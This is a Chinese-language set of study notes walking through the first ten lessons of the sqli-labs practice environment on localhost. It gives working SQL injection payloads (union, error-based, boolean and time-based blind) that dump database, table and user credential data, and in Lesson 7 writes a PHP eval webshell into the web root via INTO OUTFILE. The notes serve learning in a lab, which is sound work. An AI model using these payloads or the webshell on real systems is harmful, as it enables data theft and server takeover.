sqli-libs学习笔记(1-10关)
0x01 环境搭建
- 下载 sqli-lab 源码,地址为:https://github.com/Audi-1/sqli-labs
- 放置网站根目录下,修改db-creds.inc 文件,添加本机 mysql 账户密码
- 打开 sqli-lab 首页,点击运行 setup/reset databse
- 数据库连接成功,接下来就可以测试了。
0x02开始闯关
Lesson1:字符型注入
第一关我把整个详细的过程都写下来,后面就会略写。首先访问
http://localhost/sqli-labs/Less-1/?id=1
访问正常
http://localhost/sqli-labs/Less-1/?id=1'
报错,发现报错信息多出一个单引号,后面闭合语句也是用的单引号。
http://localhost/sqli-labs/Less-1/?id=1' and '1'='1
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。
猜解字段数
http://localhost/sqli-labs/Less-1/?id=1' order by 1--+
正常,这里后面的注释除了用--+
还可以是#的url编码%23也可以。
测试到4的时候报错,说明字段数是3。
http://localhost/sqli-labs/Less-1/?id=1' order by 4--+
确定显位数字
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
发现2,3均可回显
获取当前数据库名
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select database()) ,3--+
报错注入,数据库名为:security
还可以获取所有的数据库名
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
得到的数据库有:
information_schema,74cms,ZHIHUHOT_FULL_DATA,bookstore,challenges,demo,dvwa,easytalk,mlecms,mysql,performance_schema,security,test,testdb
获取当前数据库security的表名
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =0x7365637572697479)--+
(security的hex编码是7365637572697479)
得到security表名有:
emails,referers,uagents,users
获取列名
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =0x7365637572697479 and table_name=0x7573657273)--+
获取数据
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+
得到:
1|Dumb|Dumb,2|Angelina|I-kill-you,3|Dummy|p@ssword,4|secure|crappy,5|stupid|stupidity,6|superman|genious,7|batman|mob!le,8|admin|admin,9|admin1|admin1,10|admin2|admin2,11|admin3|admin3,12|dhakkan|dumbo,14|admin4|admin4
还可以获取数据库版本
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+
OK!一次完整的sql注入过程结束了。
Lesson2:数字型注入
先加个单引号,根据报错信息发现是数字型注入不需要单引号去闭合语句。
payload:
http://localhost/sqli-labs/Less-2/?id=1 and 1=2 union select 1,version(),database()--+
Lesson3:有括号的单引号报错
加单引号查看报错信息
判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
payload:
http://localhost/sqli-labs/Less-3/?id=1') and 1=2 union select 1,version(),database()--+
Lesson4:双引号括号报错注入
加单引号,没有报错,加双引号,报错。并且还需要闭合括号。
payload:
http://localhost/sqli-labs/Less-4/?id=1") and 1=2 union select 1,version(),database()--+
Lesson5:单引号二次注入
加单引号报错,根据报错信息,确定的确是单引号闭合。但是根据前面单引号报错构成的payload没有回显信息,只是有you are in…
这个网页可能只提示错误,不显示正确信息。
所以思路为利用错误提示信息来暴露数据库内的数据。
这里我一共找到三种方法。
利用floor函数报错:
http://localhost/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b)limit 0,1--+
利用extractvalue函数报错:
http://localhost/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))limit 0,1--+
利用updatexml函数报错:
http://localhost/sqli-labs/Less-5/?id=1' and (updatexml(1,concat(0x3a,(select database())),1))limit 0,1--+
limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
Lesson6:双引号二次注入
只需要把上面id的单引号变成双引号即可。
Lesson7:利用注入写入文件
利用注入写入文件,在知道绝对路径的情况下可以写入一句话木马。
outfile函数:
select into outfile //将表的内容导出为一个文本文件
select [列名] from table [where 语句]
into outfile ‘目标文件’ [option];
dumpfile函数 将表的内容导出一行
select * from users limit 0,1 into dumpfile 'c:/2.txt';
load_file函数 将数据导入mysql
select load_file ('c:/1.txt')
首先判断出需要什么闭合,这个过程我这里就省略了。
经过几番判断得出是'))
闭合。
读写权限测试:
http://localhost/sqli-labs/Less-7/?id=1'))and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限
写入一句话小马,实际情况需要绝对路径才行。这里就把它当做已知。
http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'<?php eval($_POST["123"]);?>',3 into outfile '/var/www/html/test.php'--+
这里虽然报错,但的确是成功写入了
还可以将一句话木马上传到网站目录上
http://localhost/sqli-labs/Less-7/?id=1')) union select 1,load_file("/var/www/html/sqli-libs/Less-7/result.txt"),3 into outfile '/var/www/html/1.php'--+
Lesson8:布尔型盲注
Less-8/?id=1 //显示You are in…
Less-8/?id=1' //不显示错误。但无返回信息
Less-8/?id=1' and '1'='1 //显示You are in…
Less-8/?id=1' and '1'='2 //不显示错误。但无返回信息
通过一番测试知道这是一道布尔型注入题,id为单引号,字符型数据。
盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
盲注分为两类:
1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据 你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
需要用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
猜测数据库名长度
http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))>10--+ //不显示错误。但无返回信息
http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))>5 --+ //显示You are in…
说明长度大于5小于10
最后得到结果为
http://localhost/sqli-labs/Less-8/?id=1' and (length(database()))=8--+ //显示You are in…
长度为8也就是security,接下来利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句 因为现在只知道长度不知道具体内容
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+ //显示You are in…
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))>120 --+ //不显示错误。但无返回信息
说明数据库的第一个字母的ascii的值在100~120之间。最后用二分法逐步逼近确定在115
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+ //显示You are in…
通过查ascii码表可知 ascii(115)=s 也就是security 的第一个字母,通过改变database()后面的数字 可以继续猜测第二个字母第三个字母,接下来改变语句去猜测表名。
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 --+ //显示You are in…
ascii(101)=e也就是security 的第二个字母,后面以此类推。
接下来改变语句去猜测表名,其实并不需要上面猜测数据库名的过程。
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+ //显示You are in…
继续
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>110 --+ //不显示错误。但无返回信息
二分法查找最后得到
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+ //显示You are in…
猜测列名
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+ //显示You are in…
采用二分法得 ascii为 105 为i 也就是表的第一个列名 id的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段。接着获username 与 password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取password里面的内容 username一样。
http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+ //显示You are in…
手工盲注非常繁琐需要一个一个的试,不过现在还是先学习手工理解了sql注入的原理,熟悉了以后可以采用脚本工具自动化测试。
Lesson9:时间型盲注
无论怎么更改注入语句,页面都不会发生改变,说明无论输入正确与否都只显示you are in。最后测试基于时间。
http://localhost/sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),null)--+ //显示You are in…但是有延迟
说明存在注入,可以用基于时间的盲注。
http://localhost/sqli-labs/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),null))--+ //显示You are in…但是有延迟
如果返回正确,则页面会停顿10秒,返回错误则会立马返回。其他与布尔盲注都相似的。
Lesson10:双引号时间型盲注
基于时间的盲注,双引号
同上,用双引号进行闭合即可。